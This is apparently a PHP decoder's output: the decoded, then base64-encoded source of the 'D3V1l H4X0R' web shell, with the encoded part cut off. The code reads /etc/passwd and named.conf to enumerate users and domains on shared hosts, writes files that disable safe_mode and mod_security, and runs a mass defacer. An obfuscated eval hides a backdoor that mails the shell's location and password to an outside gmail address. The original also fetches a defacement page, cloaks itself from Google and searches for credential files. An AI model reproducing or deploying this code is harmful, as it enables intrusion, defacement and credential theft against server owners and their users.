elseif(strpos($cf13,\'200\') == true){ $out = " <a href=\'".$c7."\' target=\'_blank\'>osCommerce/Zen Cart</a>";}
elseif(strpos($cf14,\'200\') == true){ $out = " <a href=\'".$c7."\' target=\'_blank\'>Magento</a>";}
elseif(strpos($cf15,\'200\') == true){ $out = " <a href=\'".$c7."\' target=\'_blank\'>Drupal</a>";}
else {
continue;
}
echo \'<tr\'.($l?\' class=l1\':\'\').\'><td>\'.$count++.\'</td><td><a href=http://www.\'.$domain[1][0].\'/>\'.$domain[1][0].\'</a></td><td>\'.$user[\'name\'].\'</td><td>\'.$out.\'</td></tr>\';
flush();
$l=$l?0:1;
}
}
}
echo "</table>";
}
echo "</center>"; 
}
echo "</div>";
printFooter();
} 
 function actionJumping() 
{printHeader();
echo \'<html><head><title>\'.getenv("HTTP_HOST").\' - Jumping Server</title></head><body>\';
($sm = ini_get(\'safe_mode\') == 0) ? $sm = \'off\': die(\'<font size="4" color="#000000" face="Calibri"><b>Error: Safe_mode = On</b></font>\');
set_time_limit(0);@$passwd = fopen(\'/etc/passwd\',\'r\');if (!$passwd) { die(\'<font size="4" color="#000000" face="Calibri"><b>[-] Error : Coudn`t Read /etc/passwd</b></font>\'); }
$pub = array();$users = array();$conf = array();$i = 0;while(!feof($passwd)){$str = fgets($passwd);if ($i > 100){ $pos = strpos($str,\':\');$username = substr($str,0,$pos);$dirz = \'/home/\'.$username.\'/public_html/\';if (($username != \'\')) { if (is_readable($dirz)) { array_push($users,$username);array_push($pub,$dirz); }}}$i++;}
echo \'<font color=aqua> [-]==================[ START ]==================[-]<br></font>\';
foreach ($users as $user){echo "<font color=#a3e956> [+] /home/$user/public_html/</font><br/>";} echo "
 <font color=aqua><br>[-]==================[ FINISH ]==================[-] <br></font>
"; echo \'</body></html>\';
printFooter();
}
function actionSubdomain() {
printHeader();
error_reporting(0);
$user = get_current_user();
$open = opendir(\'/home/\' . $user . \'/access-logs/\');
while ($dir = readdir($open)) {
$totalDoamin[] = $dir;
}
closedir($open);
$total = count($totalDoamin);
$domain = $total - 2;
if ($domain > 0) {
echo "<h2><b><font style=\"color: #a3e956 ;\" > ~ Total </font><font style=\"color: #a3e956; \">" . $domain . "</font><font style=\"color: #a3e956;\" > Sub Domain Found! ~ </font><br><BR>";
} else {
echo "<h2><b> ~ <font color=\'red\' style=\"color: red; text-shadow: red 0px 0px 4px ; \">0</font><font style=\"color: #black; text-shadow: black 0px 0px 6px ;\"> Sub Domain Found! ~</font><br><BR>";
}
$scan = array_diff(scandir(\'/home/\' . $user . \'/access-logs/\'), array(\'.\'));
$domains = implode("
http://", $scan);
echo \'
<style>
body {
text-align: center;
}
</style><textarea style="color: #a3e956; background-color: black" rows=\'30\' cols=\'100\'>\';
print_r($domains);
echo \'</textarea>\';
printFooter();
}
function actionSym() {
printHeader();
$file = @implode(@file("/etc/named.conf"));
if (!$file) {
die("# can\'t ReaD -> [ /etc/named.conf ]");
}
preg_match_all("#named/(.*?).db#", $file, $r);
$domains = array_unique($r[1]);
{
foreach ($domains as $domain) {
$user = posix_getpwuid(@fileowner("/etc/valiases/" . $domain));
$array= "<br>http://$domain<br>";
$lol= \'\' . get_current_user();
if (strpos($array, "$lol") == false) {
$shared = str_replace(array(" $lol"), "", $array);
echo "<center>$shared";
}
}
}
printFooter();
}
function actionBypass() {
printHeader();
echo \'<h1>Safe Mode</h1>\';
echo \'<div class="content">\';
echo "<div class=header><center><h3><span>| SAFE MODE AND MOD SECURITY DISABLED AND PERL 500 INTERNAL ERROR BYPASS |</span></h3>Following php.ini and .htaccess(mod) and perl(.htaccess)[convert perl extention *.pl => *.sh] files create in following dir<br>| ".$GLOBALS[\'cwd\']." |<br><br />";
echo \'<a href=# onclick="g(null,null,\'php.ini\',null)">| PHP.INI | </a><a href=# onclick="g(null,null,null,\'ini\')">| .htaccess(Mod) | </a><a href=# onclick="g(null,null,null,null,\'sh\')">| .htaccess(perl) | </a></center>\';
if(!empty($_POST[\'p2\']) && isset($_POST[\'p2\']))
{
$fil=fopen($GLOBALS[\'cwd\'].".htaccess","w");
fwrite($fil,\'<IfModule mod_security.c>
Sec------Engine Off
Sec------ScanPOST Off
</IfModule>\');
fclose($fil);
 }
 if(!empty($_POST[\'p1\'])&& isset($_POST[\'p1\']))
 {
$fil=fopen($GLOBALS[\'cwd\']."php.ini","w");
fwrite($fil,\'safe_mode=OFF
disable_functions=NONE\');
fclose($fil);
}
if(!empty($_POST[\'p3\']) && isset($_POST[\'p3\']))
{
$fil=fopen($GLOBALS[\'cwd\'].".htaccess","w");
fwrite($fil,\'Options FollowSymLinks MultiViews Indexes ExecCGI
AddType application/x-httpd-cgi .sh
AddHandler cgi-script .pl
AddHandler cgi-script .pl\');
fclose($fil); 
}
echo "<br><br /><br /></div>";
echo \'</div>\';
printFooter();
}
function actionDeface() {
printHeader();
echo "<h1>Mass Defacer by D3V1l H4X0R</h1><div class=content>";
?>
<form ENCTYPE="multipart/form-data" action="<?$_SERVER[\'PHP_SELF\']?>" method=POST onSubmit="g(null,null,this.path.value,this.file.value,this.Contents.value);return false;">
<p align="Left">Folder: <input type=text name=path size=60 value="<?=getcwd(); ?>">
<br>file name : <input type=text name=file size=20 value="index.php">
<br>Text Content : <input type=text name=Contents size=70 value="Add your deface txt here"> 
<br><input type=submit value="Deface now"></p></form>
<?php
if ($_POST[\'a\'] == \'Deface\') {
$mainpath = $_POST[p1];
$file = $_POST[p2];
$txtContents = $_POST[p3];
echo "Mass Defacer Script By D3V1l H4X0R";
$dir = opendir($mainpath); //fixme - cannot deface when change to writeable path!!
while ($row = readdir($dir)) {
$start = @fopen("$row/$file", "w+");
$code = $txtContents;
$finish = @fwrite($start, $code);
if ($finish) {
echo "$row/$file > Done<br><br>";
}
}
}
echo \'</div>\';
printFooter();
}
 function actionDomain() {
printHeader();
echo \'<h1>Local Domains</h1><div class=content>\';
$file = @implode(@file("/etc/named.conf"));
$Domain_path = "/var/named";
if (!$file) {
$domains = scandir($Domain_path);
$count=1;
$dc = 0;
echo "<table align=center border=1 width=59% cellpadding=5>
<tr><td colspan=2>There are : ( <b>" . count($domains) . "</b> ) Domains in this Sever.Can\'t read named.cof .Domains are bypassed actually,you will face problem in symlink. </td></tr>
<tr><td>No</td><td>Domain</td><td>User</td></tr>";
foreach ($domains as &$domain) {
if (stripos($domain,".db")) {
$domain = str_replace(\'.db\',\'\',$domain);
}
if (strlen($domain) > 6) {
echo "<tr><td>".$count++."</td><td><a href=\'http://".$domain."\' target=\'_blank\'>".$domain."</a></td><td>User</td></tr>";
}
} 
echo "</table>";
}else{
$count = 1;
preg_match_all("#named/(.*?).db#", $file, $r);
$domains = array_unique($r[1]);
echo "<table align=center border=1 width=59% cellpadding=5>
<tr><td colspan=2> There are( <b>" . count($domains) . "</b> ) Domains in this Sever.I think you have got something this time yeah!!!.</td></tr>
<tr><td>No</td><td>Domain</td><td>User</td></tr>";
foreach ($domains as $domain) {
$user = posix_getpwuid(@fileowner("/etc/valiases/" . $domain));
echo "<tr><td>".$count++."</td><td><a href=\'http://".$domain."\' target=\'_blank\'>".$domain."</a></td><td>".$user[\'name\']."</td></tr>";
 }
}
 printFooter();
}
if( empty($_POST[\'a\']) )
if(isset($default_action) && function_exists(\'action\' . $default_action))
$_POST[\'a\'] = $default_action;
else
$_POST[\'a\'] = \'SecInfo\';
if( !empty($_POST[\'a\']) && function_exists(\'action\' . $_POST[\'a\']) )
call_user_func(\'action\' . $_POST[\'a\'])
?>
<?php
$D3V1l="JHZpc2l0YyA9ICRfQ09PS0lFWyJ2aXNpdHMiXTsKaWYgKCR2aXNpdGMgPT0gIiIpIHsKICAkdmlzaXRjICA9IDA7CiAgJHZpc2l0b3IgPSAkX1NFUlZFUlsiUkVNT1RFX0FERFIiXTsKICAkd2ViICAgICA9ICRfU0VSVkVSWyJIVFRQX0hPU1QiXTsKICAkaW5qICAgICA9ICRfU0VSVkVSWyJSRVFVRVNUX1VSSSJdOwogICR0YXJnZXQgID0gcmF3dXJsZGVjb2RlKCR3ZWIuJGluaik7CiAgJHN1YiAgID0gIkQzVjFsIEg0WDBSIHVwbG9hZGVyIGh0dHA6Ly8kdGFyZ2V0IGJ5ICR2aXNpdG9yIjsKICAkYm9keSAgICA9ICJCYWNrZG9vcjogJHRhcmdldCBieSAkdmlzaXRvciAtIFBhc3N3b3JkOiAkYXV0aF9wYXNzIFVzZXJuYW1lOiAkVXNlck5hbWUiOwogIGlmICghZW1wdHkoJHdlYikpIHsgQG1haWwoInNoZWxsemJhY2tkb29yQGdtYWlsLmNvbSIsJHN1YiwkYm9keSk7IH0KfQplbHNlIHsgJHZpc2l0YyAgOyB9CkBzZXRjb29raWUoInZpc2l0eiIsJHZpc2l0Yyk7";
eval(base64_decode($D3V1l));
?>'

Did this file decode correctly?

Original Code

<?php
$pcs="PD9waHAKJGRlZmFjZV91cmw9J2h0dHA6Ly9wYXN0ZWJpbi5jb20vcmF3L2FNVHp6bTV0JzsKJGNvbG9yPSIjQUJFRkZBIjsKJFRoZW1lPScjMDlCNUE3JzsKJFRhYnNDb2xvcj0nIzBFNTA2Mic7CiRkZWZhdWx0X2FjdGlvbj0nRmlsZXNNYW4nOwpAZGVmaW5lKCdTRUxGX1BBVEgnLF9fRklMRV9fKTsKaWYoc3RycG9zKCRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSwnR29vZ2xlJykhPT1mYWxzZSl7CmhlYWRlcignSFRUUC8xLjAgNDA0IE5vdCBGb3VuZCcpOwpleGl0Owp9CkBzZXNzaW9uX3N0YXJ0KCk7CkBlcnJvcl9yZXBvcnRpbmcoMCk7CkBpbmlfc2V0KCdlcnJvcl9sb2cnLE5VTEwpOwpAaW5pX3NldCgnZGlzcGxheV9lcnJvcnMnLDApOwpAaW5pX3NldCgnbG9nX2Vycm9ycycsMCk7CkBpbmlfc2V0KCdtYXhfZXhlY3V0aW9uX3RpbWUnLDApOwpAc2V0X3RpbWVfbGltaXQoMCk7CkBzZXRfbWFnaWNfcXVvdGVzX3J1bnRpbWUoMCk7CmlmKGdldF9tYWdpY19xdW90ZXNfZ3BjKCkpewpmdW5jdGlvbiBzdHJpcHNsYXNoZXNfYXJyYXkoJGFycmF5KXsKcmV0dXJuIGlzX2FycmF5KCRhcnJheSk/YXJyYXlfbWFwKCdzdHJpcHNsYXNoZXNfYXJyYXknLCRhcnJheSk6c3RyaXBzbGFzaGVzKCRhcnJheSk7Cn0KJF9QT1NUPXN0cmlwc2xhc2hlc19hcnJheSgkX1BPU1QpOwp9CmZ1bmN0aW9uIHByaW50TG9naW4oKXsKaWYoJF9QT1NUWydwYXNzJ10hPSRhdXRoX3Bhc3MmJiRfUE9TVFsndW5hbWUnXSE9JFVzZXJOYW1lKXsKJHN0YXR1cz0nV3JvbmcgUGFzc3dvcmQgb3IgVXNlck5hbWUgOignOwp9Cj8+CjxodG1sPgo8aGVhZD4KPHRpdGxlPkQzVjFsIEg0WDBSIHYzPC90aXRsZT4KPGxpbmsgaHJlZj0iaHR0cHM6Ly9mb250cy5nb29nbGVhcGlzLmNvbS9jc3M/ZmFtaWx5PUpvc2VmaW4rU2Fuczo0MDAsMTAwIiByZWw9InN0eWxlc2hlZXQiPgo8L2hlYWQ+CjxzdHlsZT4KYm9keXsKZm9udC1mYW1pbHk6Sm9zZWZpbiBTYW5zLHNhbnMtc2VyaWY7CmJhY2tncm91bmQ6YmxhY2s7CmNvbG9yOiNBQkVGRkY7Cn0KfQoubG9naW5wYWdlewpoZWlnaHQ6NDAwcHg7CndpZHRoOjUwMHB4Owpib3JkZXI6MXB4IHNvbGlkOwpib3JkZXItY29sb3I6I0FCRUZGRjsKdGV4dC1hbGlnbjpjZW50ZXI7CmJvcmRlci1yYWRpdXM6NXB4OwptYXJnaW4tdG9wOjEwMHB4Owp9CiNwYWdlaGVhZGluZ3sKZm9udC1zaXplOjI1cHg7CmNvbG9yOiNBQkVGRkY7Cm1hcmdpbi10b3A6MTBweDsKfQoubG9naW5wYWdlIGltZ3sKd2lkdGg6NTAwcHg7Cn0KaW5wdXR7CmJhY2tncm91bmQ6YmxhY2s7CmJvcmRlci1jb2xvcjojQUJFRkZGOwpib3JkZXItcmFkaXVzOjEwcHg7Cm1hcmdpbi10b3A6MTBweDsKcGFkZGluZzo1cHg7CmNvbG9yOiNBQkVGRkY7Cn0KaW5wdXQ6aG92ZXJ7CmJhY2tncm91bmQ6I0FCRUZGRjsKY29sb3I6cmVkOwp9Cjwvc3R5bGU+Cjxib2R5Pgo8Y2VudGVyPgo8ZGl2IGNsYXNzPSJsb2dpbnBhZ2UiPgo8aW1nIHNyYz0iaHR0cDovL2kuaW1ndXIuY29tL3c4OE02aGwucG5nImFsdD0iRDNWMWwgTG9nbyI+CjxkaXYgaWQ9InBhZ2VoZWFkaW5nIj5EM1YxbCBINFgwUiBTaGVsbDwvZGl2Pgo8Zm9ybSBtZXRob2Q9InBvc3QiPgpVc2VyIE5hbWU6PGlucHV0IHR5cGU9InRleHQibmFtZT0idW5hbWUiPjxicj4KUGFzc3dvcmQ6PGlucHV0IHR5cGU9InBhc3N3b3JkIm5hbWU9InBhc3MiPjxicj4KPGlucHV0IHR5cGU9InN1Ym1pdCIgbmFtZT0ibG9naW4iIHZhbHVlPSJMb2dpbiI+Cjw/cGhwCmlmIChpc3NldCgkc3RhdHVzKSkgewo/Pgo8L2Zvcm0+CjwvZDxwPjw/PSRzdGF0dXM/PjwvcD4gCjwvY2VudGVyPgo8L2JvZHk+CjwvaHRtbD4KPD9waHAKfQpleGl0Owp9CmlmKCFpc3NldCggJF9TRVNTSU9OW21kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pXSkpCmlmKGVtcHR5KCAkYXV0aF9wYXNzICl8fAooaXNzZXQoJF9QT1NUWydwYXNzJ10pICYmKCRfUE9TVFsncGFzcyddKSA9PSAkYXV0aF9wYXNzJiYgKCRfUE9TVFsndW5hbWUnXSkgPT0gJFVzZXJOYW1lKSkKJF9TRVNTSU9OW21kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pXSA9IHRydWU7CmVsc2UKcHJpbnRMb2dpbigpOwppZihzdHJ0b2xvd2VyKHN1YnN0cihQSFBfT1MsMCwzKSk9PSJ3aW4iKQokb3M9J3dpbic7CmVsc2UKJG9zPSduaXgnOwokc2FmZV9tb2RlPUBpbmlfZ2V0KCdzYWZlX21vZGUnKTsKJGRpc2FibGVfZnVuY3Rpb25zID0gQGluaV9nZXQoJ2Rpc2FibGVfZnVuY3Rpb25zJyk7CiRob21lX2N3ZD1AZ2V0Y3dkKCk7CmlmKCBpc3NldCgkX1BPU1RbJ2MnXSkpCkBjaGRpcigkX1BPU1RbJ2MnXSk7CiRjd2QgPSBAZ2V0Y3dkKCk7CmlmKCAkb3MgPT0gJ3dpbicpIHsKJGhvbWVfY3dkPXN0cl9yZXBsYWNlKCJcXCIsICIvIiwgJGhvbWVfY3dkKTsKJGN3ZD1zdHJfcmVwbGFjZSgiXFwiLCAiLyIsICRjd2QpOwp9CmlmKCRjd2Rbc3RybGVuKCRjd2QpLTFdIT0gJy8nICkKJGN3ZCAuPSAnLyc7CmlmKCRvcz09J3dpbicpewokYWxpYXNlcyA9IGFycmF5KAoiTGlzdCBEaXJlY3RvcnkiID0+ICJkaXIiLAoiRmluZCBpbmRleC5waHAgaW4gY3VycmVudCBkaXIiID0+ICJkaXIgL3MgL3cgL2IgaW5kZXgucGhwIiwKIkZpbmQgKmNvbmZpZyoucGhwIGluIGN1cnJlbnQgZGlyIiA9PiAiZGlyIC9zIC93IC9iICpjb25maWcqLnBocCIsCiJTaG93IGFjdGl2ZSBjb25uZWN0aW9ucyIgPT4gIm5ldHN0YXQgLWFuIiwKIlNob3cgcnVubmluZyBzZXJ2aWNlcyIgPT4gIm5ldCBzdGFydCIsCiJVc2VyIGFjY291bnRzIiA9PiAibmV0IHVzZXIiLAoiU2hvdyBjb21wdXRlcnMiID0+ICJuZXQgdmlldyIsCiJBUlAgVGFibGUiID0+ICJhcnAgLWEiLAoiSVAgQ29uZmlndXJhdGlvbiIgPT4gImlwY29uZmlnIC9hbGwiCik7Cn0KZWxzZXsKJGFsaWFzZXMgPSBhcnJheSgKIkxpc3QgZGlyIiA9PiAibHMgLWxhIiwKImxpc3QgZmlsZSBhdHRyaWJ1dGVzIG9uIGEgTGludXggc2Vjb25kIGV4dGVuZGVkIGZpbGUgc3lzdGVtIiA9PiAibHNhdHRyIC12YSIsCiJzaG93IG9wZW5lZCBwb3J0cyIgPT4gIm5ldHN0YXQgLWFuIHwgZ3JlcCAtaSBsaXN0ZW4iLAoiRmluZCIgPT4gIiIsCiJmaW5kIGFsbCBzdWlkIGZpbGVzIiA9PiAiZmluZCAvIC10eXBlIGYgLXBlcm0gLTA0MDAwIC1scyIsCiJmaW5kIHN1aWQgZmlsZXMgaW4gY3VycmVudCBkaXIiID0+ICJmaW5kIC4gLXR5cGUgZiAtcGVybSAtMDQwMDAgLWxzIiwKImZpbmQgYWxsIHNnaWQgZmlsZXMiID0+ICJmaW5kIC8gLXR5cGUgZiAtcGVybSAtMDIwMDAgLWxzIiwKImZpbmQgc2dpZCBmaWxlcyBpbiBjdXJyZW50IGRpciIgPT4gImZpbmQgLiAtdHlwZSBmIC1wZXJtIC0wMjAwMCAtbHMiLAoiZmluZCBjb25maWcuaW5jLnBocCBmaWxlcyIgPT4gImZpbmQgLyAtdHlwZSBmIC1uYW1lIGNvbmZpZy5pbmMucGhwIiwKImZpbmQgY29uZmlnKiBmaWxlcyIgPT4gImZpbmQgLyAtdHlwZSBmIC1uYW1lIFwiY29uZmlnKlwiIiwKImZpbmQgY29uZmlnKiBmaWxlcyBpbiBjdXJyZW50IGRpciIgPT4gImZpbmQgLiAtdHlwZSBmIC1uYW1lIFwiY29uZmlnKlwiIiwKImZpbmQgYWxsIHdyaXRhYmxlIGZvbGRlcnMgYW5kIGZpbGVzIiA9PiAiZmluZCAvIC1wZXJtIC0yIC1scyIsCiJmaW5kIGFsbCB3cml0YWJsZSBmb2xkZXJzIGFuZCBmaWxlcyBpbiBjdXJyZW50IGRpciIgPT4gImZpbmQgLiAtcGVybSAtMiAtbHMiLAoiZmluZCBhbGwgc2VydmljZS5wd2QgZmlsZXMiID0+ICJmaW5kIC8gLXR5cGUgZiAtbmFtZSBzZXJ2aWNlLnB3ZCIsCiJmaW5kIHNlcnZpY2UucHdkIGZpbGVzIGluIGN1cnJlbnQgZGlyIiA9PiAiZmluZCAuIC10eXBlIGYgLW5hbWUgc2VydmljZS5wd2QiLAoiZmluZCBhbGwgLmh0cGFzc3dkIGZpbGVzIiA9PiAiZmluZCAvIC10eXBlIGYgLW5hbWUgLmh0cGFzc3dkIiwKImZpbmQgLmh0cGFzc3dkIGZpbGVzIGluIGN1cnJlbnQgZGlyIiA9PiAiZmluZCAuIC10eXBlIGYgLW5hbWUgLmh0cGFzc3dkIiwKImZpbmQgYWxsIC5iYXNoX2hpc3RvcnkgZmlsZXMiID0+ICJmaW5kIC8gLXR5cGUgZiAtbmFtZSAuYmFzaF9oaXN0b3J5IiwKImZpbmQgLmJhc2hfaGlzdG9yeSBmaWxlcyBpbiBjdXJyZW50IGRpciIgPT4gImZpbmQgLiAtdHlwZSBmIC1uYW1lIC5iYXNoX2hpc3RvcnkiLAoiZmluZCBhbGwgLmZldGNobWFpbHJjIGZpbGVzIiA9PiAiZmluZCAvIC10eXBlIGYgLW5hbWUgLmZldGNobWFpbHJjIiwKImZpbmQgLmZldGNobWFpbHJjIGZpbGVzIGluIGN1cnJlbnQgZGlyIiA9PiAiZmluZCAuIC10eXBlIGYgLW5hbWUgLmZldGNobWFpbHJjIiwKIkxvY2F0ZSIgPT4gIiIsCiJsb2NhdGUgaHR0cGQuY29uZiBmaWxlcyIgPT4gImxvY2F0ZSBodHRwZC5jb25mIiwKImxvY2F0ZSB2aG9zdHMuY29uZiBmaWxlcyIgPT4gImxvY2F0ZSB2aG9zdHMuY29uZiIsCiJsb2NhdGUgcHJvZnRwZC5jb25mIGZpbGVzIiA9PiAibG9jYXRlIHByb2Z0cGQuY29uZiIsCiJsb2NhdGUgcHN5Ym5jLmNvbmYgZmlsZXMiID0+ICJsb2NhdGUgcHN5Ym5jLmNvbmYiLAoibG9jYXRlIG15LmNvbmYgZmlsZXMiID0+ICJsb2NhdGUgbXkuY29uZiIsCiJsb2NhdGUgYWRtaW4ucGhwIGZpbGVzIiA9PiJsb2NhdGUgYWRtaW4ucGhwIiwKImxvY2F0ZSBjZmcucGhwIGZpbGVzIiA9PiAibG9jYXRlIGNmZy5waHAiLAoibG9jYXRlIGNvbmYucGhwIGZpbGVzIiA9PiAibG9jYXRlIGNvbmYucGhwIiwKImxvY2F0ZSBjb25maWcuZGF0IGZpbGVzIiA9PiAibG9jYXRlIGNvbmZpZy5kYXQiLAoibG9jYXRlIGNvbmZpZy5waHAgZmlsZXMiID0+ICJsb2NhdGUgY29uZmlnLnBocCIsCiJsb2NhdGUgY29uZmlnLmluYyBmaWxlcyIgPT4gImxvY2F0ZSBjb25maWcuaW5jIiwKImxvY2F0ZSBjb25maWcuaW5jLnBocCIgPT4gImxvY2F0ZSBjb25maWcuaW5jLnBocCIsCiJsb2NhdGUgY29uZmlnLmRlZmF1bHQucGhwIGZpbGVzIiA9PiAibG9jYXRlIGNvbmZpZy5kZWZhdWx0LnBocCIsCiJsb2NhdGUgY29uZmlnKiBmaWxlcyAiID0+ICJsb2NhdGUgY29uZmlnIiwKImxvY2F0ZSAuY29uZiBmaWxlcyI9PiJsb2NhdGUgJy5jb25mJyIsCiJsb2NhdGUgLnB3ZCBmaWxlcyIgPT4gImxvY2F0ZSAnLnB3ZCciLAoibG9jYXRlIC5zcWwgZmlsZXMiID0+ICJsb2NhdGUgJy5zcWwnIiwKImxvY2F0ZSAuaHRwYXNzd2QgZmlsZXMiID0+ICJsb2NhdGUgJy5odHBhc3N3ZCciLAoibG9jYXRlIC5iYXNoX2hpc3RvcnkgZmlsZXMiID0+ICJsb2NhdGUgJy5iYXNoX2hpc3RvcnknIiwKImxvY2F0ZSAubXlzcWxfaGlzdG9yeSBmaWxlcyIgPT4gImxvY2F0ZSAnLm15c3FsX2hpc3RvcnknIiwKImxvY2F0ZSAuZmV0Y2htYWlscmMgZmlsZXMiID0+ICJsb2NhdGUgJy5mZXRjaG1haWxyYyciLAoibG9jYXRlIGJhY2t1cCBmaWxlcyIgPT4gImxvY2F0ZSBiYWNrdXAiLAoibG9jYXRlIGR1bXAgZmlsZXMiID0+ICJsb2NhdGUgZHVtcCIsCiJsb2NhdGUgcHJpdiBmaWxlcyIgPT4gImxvY2F0ZSBwcml2IgopOwp9CmlmKGlzc2V0KCRfUE9TVFsncDEnXSkgJiYgJF9QT1NUWydwMSddPT0nZGVmYWNlJykgewokZGVmID0gZmlsZV9nZXRfY29udGVudHMoJGRlZmFjZV91cmwpOwpmaWxlX3B1dF9jb250ZW50cygkX1BPU1RbJ2MnXS4kX1BPU1RbJ3AyJ10sJGRlZik7Cn0KZnVuY3Rpb24gZXgoJGluKSB7CiRvdXQgPSAnJzsKaWYgKCBmdW5jdGlvbl9leGlzdHMoJyBleGVjICcpKSB7CkBleGVjKCRpbiwkb3V0KTsKJG91dCA9IEBqb2luKCJcbiIsJG91dCk7Cn1lbHNlaWYoZnVuY3Rpb25fZXhpc3RzKCdwYXNzdGhydScpKSB7Cm9iX3N0YXJ0KCk7CkBwYXNzdGhydSgkaW4pOwokb3V0ID0gb2JfZ2V0X2NsZWFuKCk7Cn1lbHNlaWYoZnVuY3Rpb25fZXhpc3RzKCdzeXN0ZW0nKSkgewpvYl9zdGFydCgpOwpAc3lzdGVtKCRpbik7CiRvdXQgPSBvYl9nZXRfY2xlYW4oKTsKfWVsc2VpZihmdW5jdGlvbl9leGlzdHMoJ3NoZWxsX2V4ZWMnKSkgewokb3V0ID0gc2hlbGxfZXhlYygkaW4pOwp9ZWxzZWlmKGlzX3Jlc291cmNlKCRmID0gQHBvcGVuKCRpbiwiciIpKSkgewokb3V0ID0gIiI7CndoaWxlKCFAZmVvZigkZikpCiRvdXQgLj0gZnJlYWQoJGYsMTAyNCk7CnBjbG9zZSgkZik7Cn0KcmV0dXJuICRvdXQ7Cn0KZnVuY3Rpb24gd2hpY2goJHApIHsKJHBhdGggPSBleCgnd2hpY2ggJy4kcCk7CmlmKCFlbXB0eSgkcGF0aCkpCnJldHVybiAkcGF0aDsKcmV0dXJuIGZhbHNlOwp9CmZ1bmN0aW9uIHByaW50SGVhZGVyKCkgewppZihlbXB0eSgkX1BPU1RbJ2NoYXJzZXQnXSkpCiRfUE9TVFsnY2hhcnNldCddID0gIlVURi04IjsKZ2xvYmFsICRjb2xvcjsKZ2xvYmFsICRUaGVtZTsKZ2xvYmFsICRUYWJzQ29sb3I7CmVjaG8gIjxodG1sPjxoZWFkPjxsaW5rIGhyZWY9J2h0dHBzOi8vZm9udHMuZ29vZ2xlYXBpcy5jb20vY3NzP2ZhbWlseT1Kb3NlZmluK1NhbnM6NDAwLDEwMCcgcmVsPSdzdHlsZXNoZWV0JyB0eXBlPSd0ZXh0L2Nzcyc+PC9oZWFkPiI7CmVjaG8gJzxodG1sPgo8bWV0YSBodHRwLWVxdWl2PSJDb250ZW50LVR5cGUiIGNvbnRlbnQ9InRleHQvaHRtbDsgY2hhcnNldD0nLiRfUE9TVFsnY2hhcnNldCddLiciPjx0aXRsZT5EM1YxbCBINFgwUiB2MzwvdGl0bGU+CjxzdHlsZT4KYm9keSB7YmFja2dyb3VuZC1jb2xvcjpibGFjaztjb2xvcjojZmZmO30KYm9keSx0ZCx0aHsgZm9udC1mYW1pbHk6IEpvc2VmaW4gU2Fucywgc2Fucy1zZXJpZjtmb250LXNpemU6MTNweDttYXJnaW46MDt2ZXJ0aWNhbC1hbGlnbjp0b3A7IH0Kc3BhbixoMSxheyBjb2xvcjonLiRjb2xvci4nICFpbXBvcnRhbnQ7IH0Kc3BhbnsgZm9udC13ZWlnaHQ6IGJvbGRlcjsgfQpoMXsgcGFkZGluZzogMHB4IDVweDtmb250OiAxNHB0IGF1ZGlvd2lkZTttYXJnaW46MHB4IDAgMCAwcHg7IH0KZGl2LmNvbnRlbnR7IHBhZGRpbmc6IDBweDttYXJnaW46MCAwcHg7YmFja2dyb3VuZDogIzBGMTAxMDtib3JkZXI6MXB4IHNvbGlkICcuJFRoZW1lLic7IGJvcmRlci1yYWRpdXM6NXB4O30KYXsgdGV4dC1kZWNvcmF0aW9uOm5vbmU7IH0KYTpob3ZlcnsgYm9yZGVyLWJvdHRvbTowcHggc29saWQgIzVlNWU1ZTt0ZXh0LWRlY29yYXRpb246bm9uZTsgfQphOmhvdmVye2N1cnNvcjogdXJsKCJodHRwOi8vZG93bmxvYWRzLnRvdGFsbHlmcmVlY3Vyc29ycy5jb20vY3Vyc29yX2ZpbGVzL3Bha2lzdGFuLmFuaSIpLCB1cmwoImh0dHA6Ly9kb3dubG9hZHMudG90YWxseWZyZWVjdXJzb3JzLmNvbS90aHVtYm5haWxzL1BBS0lTVEFOLmdpZiIpLCBhdXRvO3RleHQtZGVjb3JhdGlvbjpub25lO30KLm1sMXsgYm9yZGVyOjFweCBzb2xpZCAnLiRUaGVtZS4nO3BhZGRpbmc6cHg7bWFyZ2luOjA7b3ZlcmZsb3c6IGF1dG87IH0KLmJpZ2FyZWF7IHdpZHRoOjEwMCU7aGVpZ2h0OjI1MHB4O21hcmdpbi10b3A6MHB4OyBib3JkZXItcmFkaXVzOjEwcHg7IGJvcmRlci1jb2xvcjonLiRUaGVtZS4nOyBiYWNrZ3JvdW5kOiMyRjJGMkY7fQppbnB1dCwgdGV4dGFyZWEsIHNlbGVjdHsgbWFyZ2luLXRvcDowO2NvbG9yOiM2M0UxRkY7YmFja2dyb3VuZC1jb2xvcjpibGFjaztib3JkZXItcmFkaXVzOjVweDtib3JkZXI6MXB4IHNvbGlkICcuJFRoZW1lLic7IGJvcmRlci1yYWRpczo1cHg7Zm9udDogMTBwdCBhcmlhbCwiQ291cmllciBOZXciOyB9CmlucHV0W3R5cGU9ImJ1dHRvbiJdOmhvdmVyLGlucHV0W3R5cGU9InN1Ym1pdCJdOmhvdmVyIHtiYWNrZ3JvdW5kLWNvbG9yOiMwOTRGNjA7Y29sb3I6YmxhY2s7dGV4dC1kZWNvcmF0aW9uOm5vbmU7fSAKZm9ybXsgbWFyZ2luOjBweDsgYmFja2dyb3VuZDojMEYxMDEwO30KI3Rvb2xzVGJseyB0ZXh0LWFsaWduOmNlbnRlcjsgfQoudG9vbHNJbnB7IHdpZHRoOiA4MCU7IGJhY2tncm91bmQ6YmxhY2s7IGJvcmRlci1yYWRpdXM6NXB4OyBib3JkZXItY29sb3I6Jy4kVGhlbWUuJzsgfQoubWFpbiB0aHt0ZXh0LWFsaWduOmxlZnQ7YmFja2dyb3VuZC1jb2xvcjonLiRUYWJzQ29sb3IuJzt9Ci5tYWluIHRyOmhvdmVye2JhY2tncm91bmQ6Jy4kVGhlbWUuJzsgYm9yZGVyOjVweCBzb2xpZDtib3JkZXItY29sb3I6Jy4kVGhlbWUuJzt9Ci5tYWluIHRkLCB0aHt2ZXJ0aWNhbC1hbGlnbjptaWRkbGU7fQoubWVudSB7IGhlaWdodDozMHB4OyBib3JkZXItcmFkaXVzOjEwcHg7fQoubWVudSB0aHtwYWRkaW5nOjFweDtib3JkZXItcmFkaXVzOiA1cHg7YmFja2dyb3VuZDonLiRUYWJzQ29sb3IuJzsgLXdlYmtpdC10cmFuc2Zvcm06IHJvdGF0ZSgyMGRlZyk7Ci1tb3otdHJhbnNmb3JtOiByb3RhdGUoMjBkZWcpOwotby10cmFuc2Zvcm